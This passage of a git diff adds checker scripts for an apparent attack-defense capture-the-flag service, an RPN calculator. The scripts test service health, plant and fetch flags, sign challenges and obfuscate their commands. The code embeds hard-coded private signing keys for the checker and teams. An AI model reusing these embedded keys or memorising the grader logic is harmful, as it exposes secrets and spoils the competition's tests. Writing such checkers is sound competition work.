+ "\n", "").replace(" ", "")) + assert len(b) == 16 + io.sendline(pwn.enhex(random.choice( + _teams_signing_keys).sign(b)).encode()) + output = io.recvuntil(b"The value stack is empty") + if b'The value stack is empty' not in output: + # print("\n\n---") + # print(output.decode()) + # print("--\n\n") + checklib.quit(checklib.Status.DOWN, "Cannot set a variable", + "Service doesn't reply when using a random signature") + except SystemExit: + raise + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot set a variable", + f"Exception: {type(e)} {str(e)}") + return True + + +def check_sla(): + # log.info('Checking SLA') + io = connect_to_service() + grab_banner(io) + try: + for _ in range(5): + if random.randint(0, 3) == 0 and not test_push_int(io): + checklib.quit(checklib.Status.DOWN, + "Bad evaluation", "test_push_int failed") + if random.randint(0, 3) == 0 and not test_push_str(io): + checklib.quit(checklib.Status.DOWN, + "Bad evaluation", "test_push_str failed") + if random.randint(0, 3) == 0 and not test_push_id(io): + checklib.quit(checklib.Status.DOWN, + "Bad evaluation", "test_push_id failed") + if random.randint(0, 3) == 0 and not test_set_var(io): + checklib.quit(checklib.Status.DOWN, + "Bad evaluation", "test_set_var failed") + if random.randint(0, 3) == 0 and not test_get_var(io): + checklib.quit(checklib.Status.DOWN, + "Bad evaluation", "test_get_var failed") + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Connection prematurely closed", str(e)) + try: + io.close() + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot close the connection properly", str(e)) + checklib.quit(checklib.Status.OK, "OK") + + +def put_flag(): + io = connect_to_service() + grab_banner(io) + flag_value = data["flag"] + flag_name = build_flag_name(flag_value) + # log.info(f'put_flag({flag_name}, {flag_value})') + try: + commands = "" + if rand_bool(): + commands += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}" + if rand_bool(): + commands += f"{push_str(flag_value)}" + if rand_bool(): + commands += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}" + commands += f"{push_id(flag_name)}" + else: + commands += f"{push_id(flag_name)}" + if rand_bool(): + commands += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}" + commands += f"{push_str(flag_value)}{rand_encode('swap')}{s()}" + commands += f"{rand_encode('set_var')}\n" + # with open("/tmp/test_commands", "w") as f: + # f.write(commands) + io.send(commands.encode()) + output = io.recvuntil(b"you must tell me the signature for:\n") + if b'you must tell' not in output: + # print("\n\n---") + # print(output.decode()) + # print("--\n\n") + checklib.quit(checklib.Status.DOWN, "Cannot set flag", + "Service doesn't ask for signature") + b = pwn.unhex(io.recvline().decode().replace( + "\n", "").replace(" ", "")) + assert len(b) == 16 + io.sendline(pwn.enhex(SK_CHECKER.sign(b)).encode()) + output = io.recvuntil(b"The value stack is empty") + if b'The value stack is empty' not in output: + # print("\n\n---") + # print(output.decode()) + # print("--\n\n") + checklib.quit(checklib.Status.DOWN, "Cannot set flag", + "Service doesn't reply after signature") + io.recvuntil(b"Ready") + io.close() + except SystemExit: + raise + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot set flag", str(e)) + checklib.quit(checklib.Status.OK, "OK") + + +def build_flag_name(flag): + hash = hashlib.sha256(flag.encode()) + hx = hash.hexdigest() + return "f" + hx[:30] + str(FLAG_STORE) + + +cmd_shortcuts = { + 'add': '+', + 'sub': '-', + 'mul': '*', + 'div': '/', + 'and': '&', + 'xor': '^', + 'or': '|', + 'help': '?' +} + + +def rand_bool(): + return random.randint(0, 1) == 0 + + +def s(): + return ' ; ' if rand_bool() else '\n' + + +def encode_path(path: str): + s = ["a"] * 21 + indexes = sorted(random.sample(range(len(s)), len(path))) + for i, direction in zip(indexes, path): + s[i] = direction + b = "" + for c in s: + if c == "l": + b = "010" + b + elif c == "r": + b = "101" + b + else: + b = random.choice(["001", "011", "100", "110"]) + b + return int(b, 2) + + +def rand_encode(cmd, dont_recurse=False): + r = random.randint(0, 1 if dont_recurse else 2) # [a, b] + if cmd in cmd_shortcuts and random.randint(0, 5) == 0: + return cmd_shortcuts[cmd] + if r == 0: + return cmd.title() + elif r == 1: + return cmd.upper() + elif r == 2: + int_literal = encode_path(cmd_paths[cmd]) + if rand_bool(): + return f"{int_literal}!" + else: + if rand_bool(): + return f"{int_literal}{s()}{rand_encode('eval', True)}" + else: + return f"{int_literal}{s()}{encode_path(cmd_paths['eval'])}!" + + +def _push_int(i, level, ps): + result = "" # to make static-analysis happy + i = ctypes.c_longlong(i).value + r = random.randint(0, 5) # [a, b] + if level == 2 or r == 0: + r = random.randint(0, 2) + if r == 0: + if i >= 0 and rand_bool(): + return f"+{i}{s()}" + return f"{i}{s()}" + elif r == 1: + if i >= 0: + return f"0x{hex(i)[2:].rjust(random.randint(0, 61), '0')}{s()}" + else: + return f"-0x{hex(i)[3:].rjust(random.randint(0, 60), '0')}{s()}" + elif r == 2: + if i >= 0: + return f"0{oct(i)[2:].rjust(random.randint(0, 62), '0')}{s()}" + else: + return f"-0{oct(i)[3:].rjust(random.randint(0, 61), '0')}{s()}" + level += 1 + # n = random.randint(-abs(i), abs(i)) + n = random.randint(MIN_LONG, MAX_LONG) + if r == 1: # Add and Sub + if rand_bool(): + result = f"{_push_int(i-n, level, ps)}{_push_int(n, level, ps)}{rand_encode('add')}{s()}" + else: + if rand_bool(): + result = f"{_push_int(i+n, level, ps)}{_push_int(n, level, ps)}{rand_encode('swap')} ; {rand_encode('sub')}{s()}" + else: + result = f"{_push_int(n, level, ps)}{_push_int(i+n, level, ps)}{rand_encode('sub')}{s()}" + elif r == 2: # Or + n &= i + result = f"{_push_int(n, level, ps)}{_push_int(i, level, ps)}{rand_encode('or')}{s()}" + elif r == 3: # And + n |= i + result = f"{_push_int(n, level, ps)}{_push_int(i, level, ps)}{rand_encode('and')}{s()}" + elif r == 4: # Xor + i ^= n + result = f"{_push_int(n, level, ps)}{_push_int(i, level, ps)}{rand_encode('xor')}{s()}" + elif r == 5: # Useless drop + if rand_bool(): + if rand_bool(): # plain + result = f"{_push_int(n, level, ps)}{rand_encode('drop')}{s()}{_push_int(i, level, ps)}" + else: # with pick/swap + result = f"{_push_int(i, level, ps)}{_push_int(n, level, ps)}" + n_dup = random.randint(1, 3) # esempio con 2 + for _ in range(n_dup): + result += f"{rand_encode('dup')}{s()}" + if rand_bool(): + result += f"{rand_encode('swap')}{s()}" + result += f"{rand_encode('drop')}{s()}" + pick = "Pick" if rand_bool() else "PICK" + result += f"{pick} {n_dup+1}{s()}" + for _ in range(n_dup+1): + result += f"{rand_encode('swap')}{s()}{rand_encode('drop')}{s()}" + else: # with time/functions + if rand_bool(): + result = f"{rand_encode('time')}{s()}" + if rand_bool(): + result += f"{rand_encode('time_to_str')}{s()}" + else: + result = f"{rand_encode('random')}{s()}" + result += f"{_push_int(i, level, ps)}{rand_encode('swap')}{s()}{rand_encode('drop')}{s()}" + if ps is not None: + assert ps == 0 or ps == 1 + if random.randint(0, 3) == 0: + result += f"{rand_encode('ps_status')}{s()}" + if ps == 0: + op = random.choice(['or', 'xor', 'add', 'sub']) + result += f"{rand_encode('swap')}{s()}{rand_encode(op)}{s()}" + else: + result += f"{rand_encode('mul')}{s()}" + elif random.randint(0, 3) == 0: + result += f"{rand_encode('ps_status')}{s()}" + n_dups = random.randint(0, 2) + result += f"{rand_encode('swap')}{s()}" + for _ in range(n_dups): + result += f"{rand_encode('dup')}{s()}" + result += f"SWAP {n_dups+1}{s()}" + for _ in range(n_dups+1): + result += f"{rand_encode('drop')}{s()}" + return result + + +def push_int(i, ps): + s = _push_int(i, 0, ps) + if s.endswith(" ; "): + s = s[:-3] + if not s.endswith("\n"): + s += "\n" + return s + + +def _push_str_or_id(s_or_id): + assert len(s_or_id) <= 32 + s_or_id = s_or_id.ljust(32, '\x00') + result = "" + ps = None + for i in range(24, -8, -8): + if random.randint(0, 2) == 0: + r = random.randint(MIN_LONG, MAX_LONG) + result += f"{push_int(r, ps)}{s()}{rand_encode('drop')}{s()}" + r = random.randint(0, 2) + if r == 0: + pass # do nothing + elif r == 1: + result += f"{rand_encode('ps_off')}{s()}" + ps = 0 + else: + result += f"{rand_encode('ps_on')}{s()}" + ps = 1 + result += push_int(pwn.u64(s_or_id[i:i+8].encode('latin1')), ps) + result += f"{rand_encode('ps_on')}{s()}" + return result + + +def push_str(st): # FIXME + r = random.randint(0, 1) + if r == 0: + return f'{repr(st)}\n' + return _push_str_or_id(st) + f"{rand_encode('ints_to_str')}\n" + + +def push_id(id): + r = random.randint(0, 2) + if r == 0: + return _push_str_or_id(id) + f"{rand_encode('ints_to_id')}\n" + elif r == 1: + return f"{id}\n" + elif r == 2: + if rand_bool(): + return f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}{id}\n" + else: + return f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{id}{s()}{rand_encode('swap')}{s()}{rand_encode('drop')}\n" + else: + assert False + + +def wait_for_result(io): + if rand_bool(): + io.sendline(rand_encode('help').encode()) + expected = 'Add the top two elements' + recv = io.recvuntil(expected.encode()).decode('latin1') + if expected not in recv: + return False, recv + else: + io.sendline(rand_encode('ver').encode()) + expected = '982059cf01a70efb' + recv = io.recvuntil(expected.encode()).decode('latin1') + if expected not in recv: + return False, recv + recv += io.recvuntil(b'Ready').decode('latin1') + return True, recv + + +def test_push_id(io): + rand_str = random.choice(string.ascii_lowercase + "_") + rand_str += "".join(random.sample(string.ascii_letters + + string.digits + "_", random.randint(1, 31))) + # log.info(f'Testing push_id({rand_str})') + encoding = push_id(rand_str).encode() + io.send(encoding) + wait_ok, s = wait_for_result(io) + if not wait_ok: + # print(s) + # print("###") + # print(encoding) + # print("###") + # print(encoding.decode()) + return False + end = '[ 0] \x1b[0;32m' + i = s.rfind(end) + if i < 0: + return False + i += len(end) + i2 = s.find('\x1b', i) + if i2 < i: + return False + result = s[i:i2] + if result != rand_str: + # print(rand_str) + # print(encoding.decode()) + # print(s) + return False + io.sendline(f"{rand_encode('drop')}\n".encode()) + return True + + +def test_push_str(io): + escaped = "\n\r\t\"\'\\" + safe_alphabet = string.ascii_letters + string.digits + "_={}[]" + alphabet = safe_alphabet + escaped + if random.randint(0, 30) == 0: + rand_str = ( + "".join(random.sample(safe_alphabet, random.randint(8, 10))) + + ("\\" * random.randint(1, 8)) + + "".join(random.sample(safe_alphabet, 7)) + + "".join(random.sample(alphabet, random.randint(0, 7))) + ) + i = 42 + else: + while True: + rand_str = "".join(random.sample(alphabet, random.randint(0, 32))) + i = rand_str.find("\\") + c = rand_str.count("\\") + if i == -1 or i > c: + break + # log.info(f'Testing push_str({repr(rand_str)})') + encoding = push_str(rand_str).encode() + io.send(encoding) + if any(c in rand_str for c in escaped): + rand_str = rand_str.encode() + if i >= 0: + rand_str = rand_str[rand_str.rindex(b"\\") + 1:] + # log.info(f"Reducing rand_str to {repr(rand_str)}") + if rand_str not in io.recvuntil(rand_str): + # print(encoding) + # print(encoding.decode()) + return False + io.sendline(f"{rand_encode('drop')}\n".encode()) + return True + wait_ok, s = wait_for_result(io) + if not wait_ok: + # print(encoding) + # print(encoding.decode()) + return False + end = '[ 0] \x1b[0;33m"' + i = s.rfind(end) + if i < 0: + return False + i += len(end) + i2 = s.find('"\x1b', i) + if i2 < i: + return False + result = s[i:i2] + if result != rand_str: + # print(rand_str) + # print(encoding.decode()) + # print(s) + return False + io.sendline(f"{rand_encode('drop')}\n".encode()) + return True + + +def switch_to_base(base): + result = "" + if base == 8: + if rand_bool(): + result += f"{rand_encode('dec')}{s()}" + result += f"{rand_encode('next_base')}{s()}" + result += f"{rand_encode('next_base')}{s()}" + else: + result += f"{rand_encode('oct')}{s()}" + elif base == 10: + result += f"{rand_encode('dec')}{s()}" + elif base == 16: + if rand_bool(): + result += f"{rand_encode('dec')}{s()}" + result += f"{rand_encode('next_base')}{s()}" + else: + result += f"{rand_encode('hex')}{s()}" + else: + # log.error(f'switch_to_base: {base=}') + pass + if random.randint(0, 10) == 0: + for _ in range(3 * random.randint(1, 5)): + garbage = rand_bool() + if garbage: + result += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}" + result += f"{rand_encode('next_base')}{s()}" + if garbage: + result += f"{rand_encode('drop')}{s()}" + return result.encode() + + +def test_push_int(io): + r = random.randint(MIN_LONG, MAX_LONG) + # log.info(f'Testing push_int({r})') + base = random.choice([8, 10, 16]) + encoding = switch_to_base(base) + push_int(r, None).encode() + io.send(encoding) + wait_ok, s = wait_for_result(io) + if not wait_ok: + # print(encoding.decode()) + return False + end = '[ 0] \x1b[0;35m' + i = s.rfind(end) + if i < 0: + return False + i += len(end) + i2 = s.find('\x1b', i) + if i2 <= i: + return False + try: + result = int(s[i:i2], base) + except ValueError: + return False + if (result % 2**64) != (r % 2**64): + # print("------ WHAT????? -----") + # print('my random:', r, repr(r)) + # print('result :', result, repr(result)) + # print(encoding) + # print("###") + # print(encoding.decode()) + # print("###") + # print(s) + # print(repr(s)) + return False + io.sendline(f"{rand_encode('drop')}\n".encode()) + return True + + +def test_pushes(): + io = None + for i in range(50000): + if (i % 1000) == 0: + if io: + io.close() + # io = pwn.process('../services/service3/src/rpn_with_asan') + io = pwn.remote('127.0.0.1', 1337) + if b'Ready' not in io.recvuntil(b'Ready'): + # pwn.log.error("RPN is not ready") + return False + # log.info(f"test_pushes: {i=}") + if not test_push_int(io): + io.close() + return False + if not test_push_str(io): + io.close() + return False + if not test_push_id(io): + io.close() + return False + if not test_set_var(io): + io.close() + return False + io.close() + return True + + +def get_flag(): + io = connect_to_service() + grab_banner(io) + flag_value = data["flag"] + flag_name = build_flag_name(flag_value) + # log.info(f'get_flag({flag_value})') + flag_value = flag_value.encode() + try: + commands = "" + if rand_bool(): + commands += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}" + commands += f"{push_id(flag_name)}" + if rand_bool(): + commands += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}" + commands += f"{rand_encode('get_var')}\n" + io.send(commands.encode()) + if flag_value not in io.recvuntil(flag_value): + checklib.quit(checklib.Status.DOWN, "Flag not found") + io.close() + checklib.quit(checklib.Status.OK, "OK") + except SystemExit: + raise + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot get flag", str(e)) + + +def test_checker(): + def my_quit(exit_code, comment='', debug=''): + if isinstance(exit_code, checklib.Status): + exit_code = exit_code.value + + if exit_code != checklib.Status.OK.value: + print(comment, file=sys.stderr) + print(debug, file=sys.stderr) + sys.exit(exit_code) + + if pwn.args.ERROR: + pwn.context.log_level = logging.ERROR + checklib.quit = my_quit + global data, FLAG_STORE + data = {} + for round in range(10000): + global ROUND + ROUND = data['round'] = str(round) + flags = ["".join(random.sample(string.ascii_uppercase + + string.digits, 31))+"=" for __ in range(16)] + print(f'{round=}') # {flags=}') + for i in range(8): + check_sla() + FLAG_STORE = 1 + data['flag'] = flags[i] + put_flag() + FLAG_STORE = 2 + data['flag'] = flags[8 + i] + put_flag() + for i in range(8): + check_sla() + data['flag'] = flags[i] + FLAG_STORE = 1 + get_flag() + FLAG_STORE = 2 + data['flag'] = flags[8 + i] + get_flag() + return True + + +if __name__ != '__main__': + if ACTION == checklib.Action.CHECK_SLA.name: + check_sla() + elif ACTION == checklib.Action.PUT_FLAG.name: + put_flag() + elif ACTION == checklib.Action.GET_FLAG.name: + get_flag() + else: + assert False +else: + # log.info("Testing pushes") + # assert test_pushes() + # log.info("Testing the checker") + assert test_checker() diff --git a/checkers/6/checker.py b/checkers/6/checker.py new file mode 100644 index 0000000..5ccc492 --- /dev/null +++ b/checkers/6/checker.py @@ -0,0 +1,7 @@ +#!/usr/bin/env python3 +import os + +os.environ["FLAG_STORE"] = "2" +os.environ["PWNLIB_NOTERM"] = "1" + +from service3_common import * diff --git a/checkers/6/checklib.py b/checkers/6/checklib.py new file mode 100644 index 0000000..4c573fa --- /dev/null +++ b/checkers/6/checklib.py @@ -0,0 +1,53 @@ +import sys +from enum import Enum +import requests +import os + +TOKEN = 'PRIVATE-TOKEN' + + +class Status(Enum): + OK = 101 + DOWN = 104 + ERROR = 110 + + +class Action(Enum): + CHECK_SLA = 'CHECK_SLA' + PUT_FLAG = 'PUT_FLAG' + GET_FLAG = 'GET_FLAG' + + def __str__(self): + return str(self.value) + + +def get_data(): + data = { + 'action': os.environ['ACTION'], + 'teamId': os.environ['TEAM_ID'], + 'round': os.environ['ROUND'] + } + + if data['action'] == Action.PUT_FLAG.name or data['action'] == Action.GET_FLAG.name: + data['flag'] = os.environ['FLAG'] + + return data + + +def quit(exit_code, comment='', debug=''): + if isinstance(exit_code, Status): + exit_code = exit_code.value + + print(comment) + print(debug, file=sys.stderr) + exit(exit_code) + + +def post_flag_id(service_id, team_id, flag_id): + requests.post('http://flagid:8081/postFlagId', json={ + 'token': TOKEN, + 'serviceId': service_id, + 'teamId': team_id, + 'round': int(os.environ['ROUND']), + 'flagId': flag_id + }) diff --git a/checkers/6/cmd_paths.py b/checkers/6/cmd_paths.py new file mode 100644 index 0000000..bdafd51 --- /dev/null +++ b/checkers/6/cmd_paths.py @@ -0,0 +1,41 @@ +cmd_paths = { + "or" : "lllll", + "add" : "llll", + "dec" : "lllr", + "and" : "lll", + "dup" : "llrll", + "hex" : "llrl", + "oct" : "llrr", + "mul" : "llr", + "div" : "ll", + "ver" : "lrlll", + "xor" : "lrll", + "eval" : "lrlr", + "drop" : "lrl", + "pick" : "lrrll", + "quit" : "lrrl", + "time" : "lrrr", + "swap" : "lrr", + "help" : "lr", + "sub" : "l", + "clear" : "rllll", + "ps_on" : "rlll", + "random" : "rllr", + "ps_off" : "rll", + "set_var" : "rlrll", + "debug_on" : "rlrl", + "next_base" : "rlrr", + "debug_off" : "rlr", + "get_var" : "rl", + "todohxd" : "rrlll", + "id_to_ints" : "rrll", + "int_to_str" : "rrlr", + "ints_to_id" : "rrl", + "ints_to_str" : "rrrl", + "time_to_str" : "rrrr", + "str_to_ints" : "rrr", + "str_to_int" : "rr", + "ps_status" : "r", + "vars" : "", +} + diff --git a/checkers/6/cmd_tree.py b/checkers/6/cmd_tree.py new file mode 100644 index 0000000..c7f56cb --- /dev/null +++ b/checkers/6/cmd_tree.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python3 + +commands = [ + ("dup", " [n]", "Duplicate the top of the stack n times (default n=1)"), + ("swap", "", "Swap the top two items"), + ("pick", " n", "Place a copy of the n-th item on the top"), + ("help", "", "Print this help"), + ("drop", "", "Drop the top element"), + ("clear", "", "Drop all elements"), + ("get_var", "", "Get the value of a variable; the identifier is the top element"), + ("set_var", "", "Set the value of a variable; the identifier is the top element, the value is the 2nd element",), + ("[todo]hxd", "", None), + ("debug_on", "", "Enable debug-mode (only available in development-mode)"), + ("debug_off", "", "Disable debug-mode (only available in development-mode)"), + ("vars", "", "Print all the variables (only available in debug-mode)"), + ("add", "", "Add the top two elements"), + ("sub", "", "Subtract the top two elements"), + ("div", "", "Divide the top two elements"), + ("mul", "", "Multiply the top two elements"), + ("and", "", "Bitwise-And of the top two elements"), + ("or", "", "Bitwise-Or of the top two elements"), + ("xor", "", "Bitwise-Xor of the top two elements"), + ("quit", " (or )", "Quit"), + ("random", "", "Push a random integer"), + ("time", "", "Push the Unix time, as an integer"), + ("time_to_str", "", "Convert the Unix time on top of the stack to a string"), + ("dec", "", "Print integers on the stack in decimal"), + ("hex", "", "Print integers on the stack in hexadecimal"), + ("oct", "", "Print integers on the stack in octal"), + ("next_base", "", "Switch to the next base; that is, cycle among dec/hex/oct modes",), + ("int_to_str", "", "Convert the integer on top of the stack to a string"), + ("str_to_int", "", "Convert the string on top of the stack to an integer"), + ("eval", "", "Execute the command corresponding to the integer on top of the stack",), + ("ps_on", "", "Automatically print the stack content (default)"), + ("ps_off", "", "Do not automatically print the stack content"), + ("ps_status", "", "Return the status of automatic stack printing"), + ("ints_to_id", "", "Convert four integers to an identifier"), + ("ints_to_str", "", "Convert four integers to a string"), + ("str_to_ints", "", "Convert a string into four integers"), + ("id_to_ints", "", "Convert an identifier into four integers"), + ("ver", "", "Print version/build information"), +] + + +def to_int(s): + i = 0 + for c in s: + i <<= 5 + i |= ord(c) & 31 + return i + + +commands = [(c[0], to_int(c[0]), c[1], c[2]) for c in commands] +commands.sort(key=lambda x: x[1]) + +print("static void cmd_help()\n{\n\tprintf(") +for c in sorted(commands, key=lambda c: c[0]): + if c[3] is None: + continue + cmd = c[0].upper() + c[2] + print( + '\t YEL "' + + (cmd + " ") + + '" reset "' + + "." * (20 - len(cmd)) + + " " + + c[3] + + '\\n"' + ) +print('\t"\\nCommands must begin with an uppercase letter, but are otherwise case-insensitive.\\n"') +print('\t"Identifiers start with a lowecase letter, and are case-sensitive.\\n"') +print('\t"Integer literals can be decimal, octal (prefix: \\"0\\") and hexadecimal (prefix: \\"0x\\").\\n"') +print('\t"String literals can be enclosed in either single or double quotes.\\n"') +print('\t"Arithmetic/bitwise operations can be abbreviated with +, -, and so on.\\n"') +print('"\\n"') +print("\t);\n}\n") + +# print(commands) + +all_paths = [] + + +def visit(i, j, path): + if j - i < 1: + return "0" + mid = (i + j) // 2 + left = visit(i, mid, path + "l") + right = visit(mid + 1, j, path + "r") + me = commands[mid] + my_name = me[0].replace("[", "").replace("]", "") + print(f"cmd_tree_node node_{my_name} = {{ {me[1]}, cmd_{my_name}, {left}, {right} }}; /* {path} */") + all_paths.append(f'\t"{my_name}" : "{path}",') + return f"&node_{my_name}" + + +print(f'cmd_tree_node *cmd_tree_root = {visit(0, len(commands), "")};') + +with open("cmd_paths.py", "w") as f: + print("cmd_paths = {", file=f) + print("\n".join(all_paths), file=f) + print("}\n", file=f) diff --git a/checkers/6/service3_common.py b/checkers/6/service3_common.py new file mode 100644 index 0000000..4326be6 --- /dev/null +++ b/checkers/6/service3_common.py @@ -0,0 +1,736 @@ +#!/bin/env python3 +import checklib +import os +import pwn +import logging +import hashlib +import ed25519_blake2b +import random +import ctypes +import string +import sys +from cmd_paths import cmd_paths +# from pwn import log + +SK_CHECKER = ed25519_blake2b.SigningKey( + b"\xb5\x18\x9fg\r\xd2k\x83v\xd3\xf5\xc4\x02\x17\xbfT\xc9\xd8o\xc9\xc1\xde$\xbc\xc9\xd5\xb3\xd6.\x9d(\x9c") + +_team1_skey = ed25519_blake2b.SigningKey( + b"\xc5\x07q\xabZ\xcea\x80\xffm\xc5-\xd1r\x05\xd8\xac\x15\xc7j\x1ar\x9b\xdcr\x95\x98\x96A\x9e\x1ei") +_team2_skey = ed25519_blake2b.SigningKey( + b"\xe4Z\r\x85\x10/Lb\xf5<}\x03\xb2E\xf5/\x84\xb2\xa1Rd\x1e\xcb\xe1\xdfHwE\xb8\x82\\\n") +_team3_skey = ed25519_blake2b.SigningKey( + b"\xa6\xe2\xd9R\x93\x04t\x15\xe0\x83\xd8\xdcw\xdf\xd7#\xac\xec\xb2\xd8yJ\x00\xe9\x9c\x96\xf2O]U-\x0f") +_team4_skey = ed25519_blake2b.SigningKey( + b"\xd1\x84\x05(\x99W\x9e\xc1\xdcX\x05YuI\x89F\r\x17\xdd\x07\xcc\xcfH\xe5\xa4\x9f!#c\xd8\xd2\xf2") +_team5_skey = ed25519_blake2b.SigningKey( + b"/G\x92\xc8|\xa3\x06{\xbe\xab\x1d\x82\xd9~\xa2\xf5\xf4_\xcabi\xfc\xbag\x14\xd9\x85\xc9\xb4\xf4\xb2\x1c") +_team6_skey = ed25519_blake2b.SigningKey( + b"\x8bP\x1c\xec\xa0\x16\x00\xe3\xdc'\x14hliW\xd8\x8b\xf7\xe3\x07$y%\xd5\xfa\xa7\xb4\xe37\xdcV\x93") +_team7_skey = ed25519_blake2b.SigningKey( + b'\xed|^\xd4\x95$\x8d\xdb\x97\xfa~"\xdc\x9bLU\r1\xbc5>\xe5}L\xcf\xfd\x88\xd2\x11\x94\xad\x19') +_teams_signing_keys = [_team1_skey, _team2_skey, _team3_skey, + _team4_skey, _team5_skey, _team6_skey, _team7_skey] + +MIN_LONG = -2**63 +MAX_LONG = 2**63-1 + +FLAG_STORE = int(os.environ["FLAG_STORE"]) +assert FLAG_STORE == 1 or FLAG_STORE == 2 + +pwn.context.timeout = 10 +pwn.context.log_level = logging.ERROR +# pwn.context.log_level = logging.DEBUG + +if __name__ != '__main__': + data = checklib.get_data() + ACTION = data["action"] + ROUND = data["round"] +else: + assert "LOCALHOST_RULEZ" in os.environ + ROUND = str(random.randint(0, 200)) + + +def get_team_ip(): + if "LOCALHOST_RULEZ" in os.environ: + return "127.0.0.1" + return "10.60." + data["teamId"] + ".1" + + +def get_team_port(): + if "LOCALHOST_RULEZ" in os.environ: + return 1337 + return 1337 # FIXME + + +def connect_to_service(): + try: + return pwn.remote(get_team_ip(), get_team_port()) + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot connect", str(e)) + + +def grab_banner(io): + try: + io.recvuntil( + b"_______ ______ ____ ____ _____ | | ____ __ __ | | _____ _/ |_ ____ _______ \n") + io.recvuntil(b"The value stack is empty") + io.recvuntil(b"Ready") + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot grab banner/prompt", str(e)) + + +def test_get_var(io): + try: + r = int(ROUND) + except: + # log.warning("Cannot convert ROUND to integer") + return True + try: + var_name = _gen_var_name(f'{r-1}') + # log.info(f'Testing get_var({var_name})') + commands = "" + commands += f"{var_name}{s()}" + commands += f"Get_var{s()}" + if rand_bool(): + commands += f"Clear\n" + else: + commands += f"Drop\n" + io.send(commands.encode()) + except SystemExit: + raise + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot get a variable", + f"Exception: {type(e)} {str(e)}") + return True + + +def _gen_var_name(r): + hash = hashlib.sha256(r.encode() + b"birubiru") + not_so_random = random.Random(hash.digest()) + if not_so_random.randint(0, 2) == 0: + var_name = ( + not_so_random.choice(string.ascii_lowercase + "_") + + "".join(not_so_random.sample(string.ascii_letters + + string.digits + "_", random.randint(0, 31))) + ) + else: + var_name = not_so_random.choice(string.ascii_lowercase) + return var_name + + +def _gen_var_value(r): + hash = hashlib.sha256(r.encode() + b"pippero") + not_so_random = random.Random(hash.digest()) + if not_so_random.randint(0, 2) == 0: + var_value = "".join(not_so_random.sample( + string.ascii_letters + string.digits + "_", not_so_random.randint(0, 32))) + elif not_so_random.randint(0, 1) == 0: + var_value = not_so_random.randint(MIN_LONG, MAX_LONG) + else: + var_value = not_so_random.randint(0, 255) + return var_value + + +def test_set_var(io): + try: + var_name = _gen_var_name(ROUND) + var_value = _gen_var_value(ROUND) + # log.info(f'Testing set_var({var_name}, {var_value})') + commands = f"{repr(var_value)}{s()}" + commands += f"{var_name}{s()}" + commands += f"Set_var\n" + # with open("/tmp/test_commands", "a") as f: + # f.write(commands) + io.send(commands.encode()) + output = io.recvuntil(b"you must tell me the signature for:\n") + if b'you must tell' not in output: + # print("\n\n---") + # print(output.decode()) + # print("--\n\n") + checklib.quit(checklib.Status.DOWN, "Cannot set a variable", + "Service doesn't ask for signature when using a random (team) key") + b = pwn.unhex(io.recvline().decode().replace( + "\n", "").replace(" ", "")) + assert len(b) == 16 + io.sendline(pwn.enhex(random.choice( + _teams_signing_keys).sign(b)).encode()) + output = io.recvuntil(b"The value stack is empty") + if b'The value stack is empty' not in output: + # print("\n\n---") + # print(output.decode()) + # print("--\n\n") + checklib.quit(checklib.Status.DOWN, "Cannot set a variable", + "Service doesn't reply when using a random signature") + except SystemExit: + raise + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot set a variable", + f"Exception: {type(e)} {str(e)}") + return True + + +def check_sla(): + # log.info('Checking SLA') + io = connect_to_service() + grab_banner(io) + try: + for _ in range(5): + if random.randint(0, 3) == 0 and not test_push_int(io): + checklib.quit(checklib.Status.DOWN, + "Bad evaluation", "test_push_int failed") + if random.randint(0, 3) == 0 and not test_push_str(io): + checklib.quit(checklib.Status.DOWN, + "Bad evaluation", "test_push_str failed") + if random.randint(0, 3) == 0 and not test_push_id(io): + checklib.quit(checklib.Status.DOWN, + "Bad evaluation", "test_push_id failed") + if random.randint(0, 3) == 0 and not test_set_var(io): + checklib.quit(checklib.Status.DOWN, + "Bad evaluation", "test_set_var failed") + if random.randint(0, 3) == 0 and not test_get_var(io): + checklib.quit(checklib.Status.DOWN, + "Bad evaluation", "test_get_var failed") + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Connection prematurely closed", str(e)) + try: + io.close() + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot close the connection properly", str(e)) + checklib.quit(checklib.Status.OK, "OK") + + +def put_flag(): + io = connect_to_service() + grab_banner(io) + flag_value = data["flag"] + flag_name = build_flag_name(flag_value) + # log.info(f'put_flag({flag_name}, {flag_value})') + try: + commands = "" + if rand_bool(): + commands += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}" + if rand_bool(): + commands += f"{push_str(flag_value)}" + if rand_bool(): + commands += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}" + commands += f"{push_id(flag_name)}" + else: + commands += f"{push_id(flag_name)}" + if rand_bool(): + commands += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}" + commands += f"{push_str(flag_value)}{rand_encode('swap')}{s()}" + commands += f"{rand_encode('set_var')}\n" + # with open("/tmp/test_commands", "w") as f: + # f.write(commands) + io.send(commands.encode()) + output = io.recvuntil(b"you must tell me the signature for:\n") + if b'you must tell' not in output: + # print("\n\n---") + # print(output.decode()) + # print("--\n\n") + checklib.quit(checklib.Status.DOWN, "Cannot set flag", + "Service doesn't ask for signature") + b = pwn.unhex(io.recvline().decode().replace( + "\n", "").replace(" ", 